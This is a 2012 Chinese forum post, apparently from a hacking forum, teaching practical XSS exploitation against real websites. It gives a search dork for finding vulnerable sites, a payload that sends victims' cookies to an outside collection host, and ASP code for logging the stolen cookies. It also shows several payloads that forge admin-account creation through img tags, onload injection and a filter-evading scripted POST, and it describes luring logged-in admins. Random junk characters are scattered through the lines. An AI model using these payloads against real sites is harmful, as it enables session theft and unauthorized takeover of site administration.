找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2103|回复: 0
打印 上一主题 下一主题

实战xss漏洞利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:08:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为: 1 ~! y/ V2 l. _
7 O& `& y5 ?2 D
http://tieba.baidu.com/f?kz=1069007239" ^5 |8 g# @; u+ a: Q
) D: V- y+ ], h/ Q+ o. S6 T) d
这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。
, n8 D+ s/ g# R8 S) u: G
# ?) v* K/ R4 _/ t6 r" {但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。
1 H! H9 {# ?! x/ x% R5 C0 p
5 W) I5 p/ f  H( c" w7 w我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。
# c3 d& P8 \5 P  ^9 R' ?  e
0 m/ T) n+ F. s" e! b6 q这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。
1 w1 H. Y2 v3 l9 h
% O2 p& ^4 s9 ~5 {( u& s好了,废话不多说了,一起来看文章吧。
' Z0 V6 T+ b; ?1 v% _4 |# |
- G! R* G+ Q! ^8 s% m8 m1 _8 a-------------------------------------------------------------------
9 L- a( m- K: D) F' L: z. h# ^0 U1 s7 c  _
首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。
+ N0 N2 k5 E+ m( ^) O) |, L% ~+ \' U% F# z. n

; v& p3 [( F$ }$ F, l/ e8 {" I2 Y* J) X2 b/ g4 I4 L
再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:6 V# @+ n6 w: H  e% U$ z
. G- R, X  o" x  N* a
7 l. D" [' z4 K  x% H/ X3 T. E2 G

( y' a/ X) l5 j% _' M2 P这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是( z/ \$ W' {# k) @- h9 o- H
1:让目标访问已跨站的网址,然后这个网址执行脚本. Q7 U$ j3 F1 n5 R
2:然后跳转到你已经写好专门用来收集Cookie的网址
+ H( G$ S0 n+ N8 q% f4 j. P+ }: U9 A) v* m
具体实现方法:  w( d# Y% c0 i: Y5 W
先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>, A  k1 @; Q2 `+ l
这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。; }8 _- A! n( G9 [( z6 B

) X( T9 `: A( f& T( Z2 o/ Y这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:, {9 Y$ T- J. v6 b; p1 C& \# b
- o% @: h7 \) D% c8 u
<html>+ W2 L* x2 _8 x
<title>xx</title>
9 g! y) g; K0 V* V( X4 V: F<body>" t( `9 ?/ w  Q2 G
<%
  a- Q; I9 [1 \0 n7 A: B6 w& Atestfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
- u* M: i9 Z2 K* S! ]msg = Request("msg")   //获取提交过来的msg变量,也就是cookie值, g8 y/ P: K- G- m- Y( h
set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象4 N/ a' |' N/ [- P
set thisfile = fs.OpenTextFile(testfile,8,True,0)
  u& N9 ~+ Y  W8 ?; z# zthisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie3 Y$ Z; R: ?/ r
thisfile.close   //关闭
9 g5 g  [, z- u% }. u: y8 Oset fs = nothing
1 h2 Q) Z7 m4 V9 S  i, q( k" N%>  s4 I! h6 {  L# ~) k6 n
</body>; y/ c: ?4 g, f% ]
</html>  [# O" Q* c0 y: ^0 J+ R

+ C  S. L3 Q$ N/ p) Y然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:
2 F0 G6 y6 T; g5 g7 s% [  E2 z0 _# d5 M6 J7 N- @6 J

1 T; v$ O. f' P$ u6 F
0 [, s% j3 V2 F
8 o! o/ d% r4 }: A* Q拿出来看看,呵呵,Cookie到手:; \# ]% f6 D0 M/ ~4 B) D
' b# m# g+ G8 J3 j3 \
4 ]4 k" Z% _9 n- g" v* L

* w7 H, N$ s1 `* ?2 F" X* q1 {1 M本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~/ E) c9 {" L1 L+ o) M. e
& z# m) `; {$ s5 M: k. s
PS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。* `& c+ P' k% B5 n# l5 x
1 @8 r# b7 v. N, I* S. p: i
-------------------------------------------------------------------
$ z4 I1 Z, `' {/ F" o6 j. q
: I! b7 u* Z+ @- _下面是我对这个帖子的回复,也一起贴过来吧:
( \1 V$ A* h* {- l7 T  x3 v8 F0 z
4 M/ e: r1 @! I" K; }' m& K& j- v说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。, g) D. Q. E& z: m# c

3 u. P9 W/ t. x3 H但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。
0 z; p6 {* Y6 c8 q! q; q& n再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
, k- z# T4 W5 b: z. {+ r) ?, f, z( I8 o' L" U+ ?. F
在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:
8 f, ]# F9 q% {1 z( N8 @8 H- ~
) R+ {/ N! ^  Y8 whttp://user.qzone.qq.com/673116767/blog/1252452536
0 Z3 O2 o5 |' C2 [7 e' ?- Y# W+ G4 h& s8 o8 T  i; u4 d
一般发现一个xss漏洞后要做的基本上就是这些:3 N3 R# m% S) G7 Q3 i
2 V! E* m5 U9 @8 V; D& r" e4 g
1.  伪造请求  使用$_REQUEST或$_GET, i; Y) J# X  d$ j

  N2 ]9 B) I) U首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:
' _1 @: _3 E- Y0 o2 r) [<img src="/admin/admin_add.asp?name=xxx&psd=yyy" /># ?; m5 r" D) ^/ c& S
当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。
2 v2 U/ ~  J. _7 E6 Y6 b, E' o, Z
如果是可视文本编辑器,可以尝试使用输入:% w6 l) V9 j3 Z' I: Q4 a3 L# z
http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')
1 _5 o' j1 P3 @: o- W这样最终会构造出:
. C* |5 @+ S) ^0 u9 [. `, n<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
- D8 n% D* L! V( W; I2 Y% W总之要举一反三。
. d5 V# a3 `1 o
; @' @1 g8 `* q4 B# S0 P. g* P2. 伪造请求  使用$_POST
) i$ G) o4 H2 \: Q; v2 U- S5 P0 a) k$ N$ C) l, f& G6 `
当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:; |2 s5 ~* M& A  c9 P# ^
<sc/*xss*/ript type="text/javascript">! k: z5 d4 e  Y' G6 b* S# R
var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");" @% {' J; L! ]* F# |5 B0 P
aj.open("POST", "/admin/admin_add.asp", false);9 K. _: ^2 J* r
var postdata = 'name=xxx&psd=yyy';
% |% ^4 P' E* K8 A1 baj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
# W, f- r, _( laj.send(postdata);
7 R- p0 ^$ t9 e  {( r- z</scr/*xss*/ipt>
- x5 w+ C8 j) o' T6 ]/ m5 W& F/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。6 v* \  \5 v0 y

% p0 d/ w' J# x4 b& ^3. 跨站伪造请求 使用$_GET 或 $_REQUEST# b; l- j0 H# o% b" Q

% K7 {8 F! Y) w) I2 d+ L$ b与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片
% n$ e& a7 l& x' e% z<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>" r( P) \/ ]9 G+ Q9 B
然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。
4 P1 V/ U0 K& ~- r% n% C) o' R' P/ H: |! R% k6 s/ F+ b4 V- v1 j" `7 \
4.跨站伪造请求 使用$_POST(0day): Y4 u& X" ?3 f( }  r
* Q- z. R4 ]9 L. V4 C2 J
如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。
  q: |- S4 ]' |) [3 w. F
8 a3 M( x) `) F0 x0 E+ }, J但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。; P$ ]0 u* ^( S& l5 u: v; [2 x# E+ ]

; [: C) {& q/ ~总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。
: D$ M$ {& ^* ^: v, L+ @2 i7 `
( r0 f: i, E2 k' M. ^' tOK,该说的都说完了,Over。$ e; {3 p: N# c+ }; k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表